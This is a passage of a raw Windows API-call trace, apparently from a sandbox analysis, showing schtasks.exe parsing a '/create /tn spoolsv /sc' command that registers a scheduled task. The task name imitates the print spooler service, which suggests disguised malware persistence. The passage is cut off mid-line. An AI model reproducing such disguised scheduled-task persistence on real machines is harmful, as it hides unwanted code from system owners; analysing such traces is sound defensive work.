(lpString="/create") returned 7 [0159.930] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.930] _vsnwprintf (in: _Buffer=0x24bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc4b8 | out: _Buffer="schtasks /create") returned 16 [0159.931] _memicmp (_Buf1=0x24ba40, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.931] GetProcessHeap () returned 0x230000 [0159.931] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccf0 [0159.931] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.931] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0159.931] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0159.931] GetProcessHeap () returned 0x230000 [0159.931] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x30) returned 0x247a60 [0159.931] _vsnwprintf (in: _Buffer=0x24bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc4b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0159.931] GetProcessHeap () returned 0x230000 [0159.931] GetProcessHeap () returned 0x230000 [0159.931] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc60) returned 1 [0159.931] GetProcessHeap () returned 0x230000 [0159.931] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dc60) returned 0x74e [0159.932] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc60 | out: hHeap=0x230000) returned 1 [0159.932] SetLastError (dwErrCode=0x0) [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="create") returned 6 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="?") returned 1 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="s") returned 1 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="u") returned 1 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="p") returned 1 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="ru") returned 2 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="rp") returned 2 [0159.932] GetThreadLocale () returned 0x409 [0159.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.932] lstrlenW (lpString="sc") returned 2 [0159.932] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="mo") returned 2 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="d") returned 1 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="m") returned 1 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="i") returned 1 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="tn") returned 2 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="tr") returned 2 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="st") returned 2 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="sd") returned 2 [0159.933] GetThreadLocale () returned 0x409 [0159.933] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.933] lstrlenW (lpString="ed") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="it") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="et") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="k") returned 1 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="du") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="ri") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="z") returned 1 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="f") returned 1 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="v1") returned 2 [0159.934] GetThreadLocale () returned 0x409 [0159.934] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.934] lstrlenW (lpString="xml") returned 3 [0159.935] GetThreadLocale () returned 0x409 [0159.935] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.935] lstrlenW (lpString="ec") returned 2 [0159.935] GetThreadLocale () returned 0x409 [0159.935] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.935] lstrlenW (lpString="rl") returned 2 [0159.935] GetThreadLocale () returned 0x409 [0159.936] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.936] lstrlenW (lpString="delay") returned 5 [0159.936] GetThreadLocale () returned 0x409 [0159.936] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.936] lstrlenW (lpString="np") returned 2 [0159.936] SetLastError (dwErrCode=0x0) [0159.936] SetLastError (dwErrCode=0x0) [0159.936] lstrlenW (lpString="/create") returned 7 [0159.936] lstrlenW (lpString="-/") returned 2 [0159.936] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.937] lstrlenW (lpString="create") returned 6 [0159.937] lstrlenW (lpString="create") returned 6 [0159.937] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.937] lstrlenW (lpString="create") returned 6 [0159.937] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.937] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.937] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.937] lstrlenW (lpString="|create|") returned 8 [0159.937] lstrlenW (lpString="|create|") returned 8 [0159.937] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0159.937] SetLastError (dwErrCode=0x0) [0159.937] SetLastError (dwErrCode=0x0) [0159.937] SetLastError (dwErrCode=0x0) [0159.937] lstrlenW (lpString="/tn") returned 3 [0159.937] lstrlenW (lpString="-/") returned 2 [0159.937] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.937] lstrlenW (lpString="create") returned 6 [0159.937] lstrlenW (lpString="create") returned 6 [0159.937] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.937] lstrlenW (lpString="tn") returned 2 [0159.937] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.937] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.937] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.937] lstrlenW (lpString="|create|") returned 8 [0159.937] lstrlenW (lpString="|tn|") returned 4 [0159.938] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0159.938] SetLastError (dwErrCode=0x490) [0159.938] lstrlenW (lpString="?") returned 1 [0159.938] lstrlenW (lpString="?") returned 1 [0159.938] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.938] lstrlenW (lpString="tn") returned 2 [0159.938] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.938] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|?|") returned 3 [0159.938] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.938] lstrlenW (lpString="|?|") returned 3 [0159.938] lstrlenW (lpString="|tn|") returned 4 [0159.938] SetLastError (dwErrCode=0x490) [0159.938] lstrlenW (lpString="s") returned 1 [0159.938] lstrlenW (lpString="s") returned 1 [0159.938] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.938] lstrlenW (lpString="tn") returned 2 [0159.938] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.938] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|s|") returned 3 [0159.938] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.938] lstrlenW (lpString="|s|") returned 3 [0159.938] lstrlenW (lpString="|tn|") returned 4 [0159.938] SetLastError (dwErrCode=0x490) [0159.938] lstrlenW (lpString="u") returned 1 [0159.939] lstrlenW (lpString="u") returned 1 [0159.939] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.939] lstrlenW (lpString="tn") returned 2 [0159.939] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.939] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|u|") returned 3 [0159.942] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.942] lstrlenW (lpString="|u|") returned 3 [0159.942] lstrlenW (lpString="|tn|") returned 4 [0159.942] SetLastError (dwErrCode=0x490) [0159.942] lstrlenW (lpString="p") returned 1 [0159.942] lstrlenW (lpString="p") returned 1 [0159.942] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.942] lstrlenW (lpString="tn") returned 2 [0159.942] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.942] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|p|") returned 3 [0159.942] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.942] lstrlenW (lpString="|p|") returned 3 [0159.942] lstrlenW (lpString="|tn|") returned 4 [0159.943] SetLastError (dwErrCode=0x490) [0159.943] lstrlenW (lpString="ru") returned 2 [0159.943] lstrlenW (lpString="ru") returned 2 [0159.943] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.943] lstrlenW (lpString="tn") returned 2 [0159.943] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.943] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ru|") returned 4 [0159.943] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.943] lstrlenW (lpString="|ru|") returned 4 [0159.943] lstrlenW (lpString="|tn|") returned 4 [0159.943] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0159.943] SetLastError (dwErrCode=0x490) [0159.943] lstrlenW (lpString="rp") returned 2 [0159.943] lstrlenW (lpString="rp") returned 2 [0159.943] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.943] lstrlenW (lpString="tn") returned 2 [0159.943] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.943] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rp|") returned 4 [0159.943] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.943] lstrlenW (lpString="|rp|") returned 4 [0159.943] lstrlenW (lpString="|tn|") returned 4 [0159.943] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0159.944] SetLastError (dwErrCode=0x490) [0159.944] lstrlenW (lpString="sc") returned 2 [0159.944] lstrlenW (lpString="sc") returned 2 [0159.944] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.944] lstrlenW (lpString="tn") returned 2 [0159.944] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.944] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.944] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.944] lstrlenW (lpString="|sc|") returned 4 [0159.944] lstrlenW (lpString="|tn|") returned 4 [0159.944] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0159.944] SetLastError (dwErrCode=0x490) [0159.944] lstrlenW (lpString="mo") returned 2 [0159.944] lstrlenW (lpString="mo") returned 2 [0159.944] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.944] lstrlenW (lpString="tn") returned 2 [0159.944] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.944] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|mo|") returned 4 [0159.944] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.944] lstrlenW (lpString="|mo|") returned 4 [0159.944] lstrlenW (lpString="|tn|") returned 4 [0159.944] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0159.944] SetLastError (dwErrCode=0x490) [0159.944] lstrlenW (lpString="d") returned 1 [0159.944] lstrlenW (lpString="d") returned 1 [0159.945] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] lstrlenW (lpString="tn") returned 2 [0159.945] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|d|") returned 3 [0159.945] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.945] lstrlenW (lpString="|d|") returned 3 [0159.945] lstrlenW (lpString="|tn|") returned 4 [0159.945] SetLastError (dwErrCode=0x490) [0159.945] lstrlenW (lpString="m") returned 1 [0159.945] lstrlenW (lpString="m") returned 1 [0159.945] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] lstrlenW (lpString="tn") returned 2 [0159.945] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|m|") returned 3 [0159.945] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.945] lstrlenW (lpString="|m|") returned 3 [0159.945] lstrlenW (lpString="|tn|") returned 4 [0159.945] SetLastError (dwErrCode=0x490) [0159.945] lstrlenW (lpString="i") returned 1 [0159.945] lstrlenW (lpString="i") returned 1 [0159.945] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] lstrlenW (lpString="tn") returned 2 [0159.945] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.945] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|i|") returned 3 [0159.946] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.946] lstrlenW (lpString="|i|") returned 3 [0159.946] lstrlenW (lpString="|tn|") returned 4 [0159.946] SetLastError (dwErrCode=0x490) [0159.946] lstrlenW (lpString="tn") returned 2 [0159.946] lstrlenW (lpString="tn") returned 2 [0159.946] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.946] lstrlenW (lpString="tn") returned 2 [0159.946] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.946] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.946] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.946] lstrlenW (lpString="|tn|") returned 4 [0159.946] lstrlenW (lpString="|tn|") returned 4 [0159.946] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0159.946] SetLastError (dwErrCode=0x0) [0159.946] SetLastError (dwErrCode=0x0) [0159.946] lstrlenW (lpString="spoolsv") returned 7 [0159.946] lstrlenW (lpString="-/") returned 2 [0159.946] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0159.946] SetLastError (dwErrCode=0x490) [0159.946] SetLastError (dwErrCode=0x490) [0159.946] SetLastError (dwErrCode=0x0) [0159.946] lstrlenW (lpString="spoolsv") returned 7 [0159.946] StrChrIW (lpStart="spoolsv", wMatch=0x3a) returned 0x0 [0159.946] SetLastError (dwErrCode=0x490) [0159.946] SetLastError (dwErrCode=0x0) [0159.946] lstrlenW (lpString="spoolsv") returned 7 [0159.947] SetLastError (dwErrCode=0x0) [0159.947] SetLastError (dwErrCode=0x0) [0159.947] lstrlenW (lpString="/sc") returned 3 [0159.947] lstrlenW (lpString="-/") returned 2 [0159.947] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.947] lstrlenW (lpString="create") returned 6 [0159.947] lstrlenW (lpString="create") returned 6 [0159.947] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.947] lstrlenW (lpString="sc") returned 2 [0159.947] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.947] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.947] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.947] lstrlenW (lpString="|create|") returned 8 [0159.947] lstrlenW (lpString="|sc|") returned 4 [0159.947] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0159.947] SetLastError (dwErrCode=0x490) [0159.947] lstrlenW (lpString="?") returned 1 [0159.947] lstrlenW (lpString="?") returned 1 [0159.947] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.947] lstrlenW (lpString="sc") returned 2 [0159.947] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.947] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|?|") returned 3 [0159.947] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.947] lstrlenW (lpString="|?|") returned 3 [0159.947] lstrlenW (lpString="|sc|") returned 4 [0159.947] SetLastError (dwErrCode=0x490) [0159.948] lstrlenW (lpString="s") returned 1 [0159.948] lstrlenW (lpString="s") returned 1 [0159.948] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.948] lstrlenW (lpString="sc") returned 2 [0159.948] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.948] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|s|") returned 3 [0159.948] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.948] lstrlenW (lpString="|s|") returned 3 [0159.948] lstrlenW (lpString="|sc|") returned 4 [0159.948] SetLastError (dwErrCode=0x490) [0159.948] lstrlenW (lpString="u") returned 1 [0159.948] lstrlenW (lpString="u") returned 1 [0159.948] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.948] lstrlenW (lpString="sc") returned 2 [0159.948] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.948] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|u|") returned 3 [0159.948] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.948] lstrlenW (lpString="|u|") returned 3 [0159.948] lstrlenW (lpString="|sc|") returned 4 [0159.948] SetLastError (dwErrCode=0x490) [0159.948] lstrlenW (lpString="p") returned 1 [0159.948] lstrlenW (lpString="p") returned 1 [0159.948] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] lstrlenW (lpString="sc") returned 2 [0159.949] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|p|") returned 3 [0159.949] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.949] lstrlenW (lpString="|p|") returned 3 [0159.949] lstrlenW (lpString="|sc|") returned 4 [0159.949] SetLastError (dwErrCode=0x490) [0159.949] lstrlenW (lpString="ru") returned 2 [0159.949] lstrlenW (lpString="ru") returned 2 [0159.949] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] lstrlenW (lpString="sc") returned 2 [0159.949] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ru|") returned 4 [0159.949] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.949] lstrlenW (lpString="|ru|") returned 4 [0159.949] lstrlenW (lpString="|sc|") returned 4 [0159.949] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0159.949] SetLastError (dwErrCode=0x490) [0159.949] lstrlenW (lpString="rp") returned 2 [0159.949] lstrlenW (lpString="rp") returned 2 [0159.949] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] lstrlenW (lpString="sc") returned 2 [0159.949] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.949] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rp|") returned 4 [0159.949] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.950] lstrlenW (lpString="|rp|") returned 4 [0159.950] lstrlenW (lpString="|sc|") returned 4 [0159.950] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0159.950] SetLastError (dwErrCode=0x490) [0159.950] lstrlenW (lpString="sc") returned 2 [0159.950] lstrlenW (lpString="sc") returned 2 [0159.950] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.950] lstrlenW (lpString="sc") returned 2 [0159.950] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.950] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.950] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: 